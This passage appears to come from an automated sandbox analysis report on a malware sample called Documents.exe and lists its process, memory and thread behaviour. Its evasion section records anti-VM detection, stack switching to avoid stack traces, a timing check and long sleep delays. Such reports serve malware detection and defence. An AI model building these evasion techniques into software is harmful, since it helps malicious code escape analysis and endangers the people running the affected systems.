Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\systray.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\systray.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\systray.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\systray.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Documents.exe PID: 6392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uFEeKIucsX.exe PID: 1848, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Users\user\Desktop\Documents.exe	Memory allocated: 3100000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Memory allocated: 3330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Memory allocated: 3150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Memory allocated: 9900000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Memory allocated: 7AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Memory allocated: A900000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Memory allocated: B900000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Memory allocated: 2700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Memory allocated: 28A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Memory allocated: 48A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Memory allocated: 8B10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Memory allocated: 9B10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Memory allocated: 9D20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Memory allocated: AD20000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 9_2_0152096E rdtsc

9_2_0152096E

Source: C:\Users\user\Desktop\Documents.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4843	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3992	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Window / User API: threadDelayed 9833

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	API coverage: 0.7 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	API coverage: 0.2 %

Source: C:\Users\user\Desktop\Documents.exe TID: 5692	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3136	Thread sleep count: 4843 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2804	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1248	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6532	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5248	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe TID: 3652	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe TID: 5160	Thread sleep count: 139 > 30
Source: C:\Windows\SysWOW64\systray.exe TID: 5160	Thread sleep time: -278000s >= -30000s
Source: C:\Windows\SysWOW64\systray.exe TID: 5160	Thread sleep count: 9833 > 30
Source: C:\Windows\SysWOW64\systray.exe TID: 5160	Thread sleep time: -19666000s >= -30000s
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe TID: 6512	Thread sleep time: -65000s >= -30000s
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe TID: 6512	Thread sleep count: 37 > 30
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe TID: 6512	Thread sleep time: -55500s >= -30000s
